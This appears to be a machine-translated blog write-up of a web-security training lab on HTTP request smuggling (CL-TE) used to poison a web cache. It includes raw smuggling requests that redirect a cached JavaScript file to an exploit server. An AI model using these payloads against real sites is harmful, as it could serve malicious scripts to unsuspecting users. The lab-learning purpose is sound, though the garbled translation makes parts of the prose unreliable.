当前位置:网站首页>Analysis of Http-Sumggling Cache Vulnerability
Analysis of Http-Sumggling Cache Vulnerability
2022-08-04 16:07:00 【Skynet's laboratory】
当httprequest for smuggling andwebWhat kind of sparks will the caches meet?,让我们看看.
在接触Http Sumggling
Before the cache bug,我们需要先对Http Sumggling
和WebCaching knows something.
什么是Web缓存
WEBCache refers to the static files of the website,比如图片、CSS、JS等,when visiting the website,The server will cache these files,so that it can be read directly from the cache on the next access,No need to request the server again.
The cache is located between the server and client,A response that is saved for a fixed time and is usually set for a specific request to optimize the user's browsing experience or to reduce access to the server for other reasons.,Common cache points are:
Backend program cache
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
The most common is undoubtedlyCDNand similar cache servers.
In order for the cache to determine whether it needs to provide cached content,在httpwill be present in the request缓存键 X-Cache
,What the cache key is called is up to the architect,but it's a concept.
什么是web缓存漏洞
如上图所示,Assumption of small purple yellow green all the server with a number of specific request,Then when Xiao Zi first accesses the server,through the cache keyX-Cache: Miss
的判定,is the first visit,所以直接连接到Server
服务器,And then the little yellow、When Little Green accesses the same file again, it will be judged asX-Cache: Hit
,The only connectionCache缓存服务器,no longer connected toServer
服务器,thereby reducingServer
The operating load of the server.
This is undoubtedly a very good design,But once it is used by people with intentions,Then something bad will happen.
如图,When an attacker changed some packages sent to the backend,Causes the backend to return some malicious data,比如xss、注入等问题,And because of the caching mechanism,Subsequent normal user access will read malicious buffer cache server,这就是常见的web缓存漏洞,Also called cache poisoning.
【----帮助网安学习,所有资料加[email protected]~x:yj009991,备注“掘金”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,The holes are the main reasons for the different serverRFCThe specific implementation of the standard is different.
Generally can be divided into the following:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在[email protected]知道创宇404实验室
The article discusses in great detail,I won't repeat it here.
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning
为靶场.
解法
Determine whether there is smuggling,确定为CL-TE.
POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked0GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10x=1
复制代码
第一次请求为:
POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
复制代码
The second request is the second half:
GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10x=1
复制代码
可以看到存在302跳转.
Then we need to find where to do the cache attack,这里我以/resources/js/tracking.js
进行攻击.
可以看到X-Cache
为miss,So that we can take advantage of the changes,perform a cache attack.
先点击send post包
POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked0GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10x=1 复制代码
access to part one:
然后在
/resources/js/tracking.js
send包:A successful attack can be found,The cache key is
miss
,The next packet should switch can be successfulexploit上,我们试试.Capture the original interface,多抓几次.
发现hostsuccess becomes oursexploit.
后言
漏洞越来越多,也会越来越复杂,Is no longer a single some loopholes that simple,Compounding multiple vulnerabilities is a sign of the future.
更多靶场实验练习、网安学习资料,请访问合天网安实验室.
边栏推荐
猜你喜欢
随机推荐
【Pick-in】Advertising-information flow cross-domain CTR estimation (to be updated)
Check which user permissions are assigned to each database, is there an interface for this?
分支控制if-else
【二叉树】根据描述创建二叉树
【打卡】广告-信息流跨域ctr预估(待更新)
It took half a month to finally make a collection of high-frequency interview questions of first-tier manufacturers
阿尔萨斯监控平台&普罗米修斯监控平台对服务器资源的监控
【Jprofile 11.0 安装】
软件性能测试包括哪些内容?国内权威软件检测机构排名
线上一次JVM FullGC搞得整晚都没睡,彻底崩溃
皕杰报表配置文件report_config.xml里都配置了什么?
Real-Time Rendering 4th related resource arrangement (no credit required)
【Gopher 学个函数】边学边练,简单为 Go 上个分
成功 解决 @keyup.enter=“search()“ 在el-input 组件中不生效的问题
GET 和 POST 请求的区别
LeetCode·85.最大矩形·单调栈
What is the difference between ITSM software and a work order system?
什么是APS?APS+MES如何解决生产难题?
张乐:研发效能的黄金三角及需求与敏捷协作领域的实践|直播回顾
GPS satellite synchronization clock, NTP network synchronization clock, Beidou clock server (Jingzhun)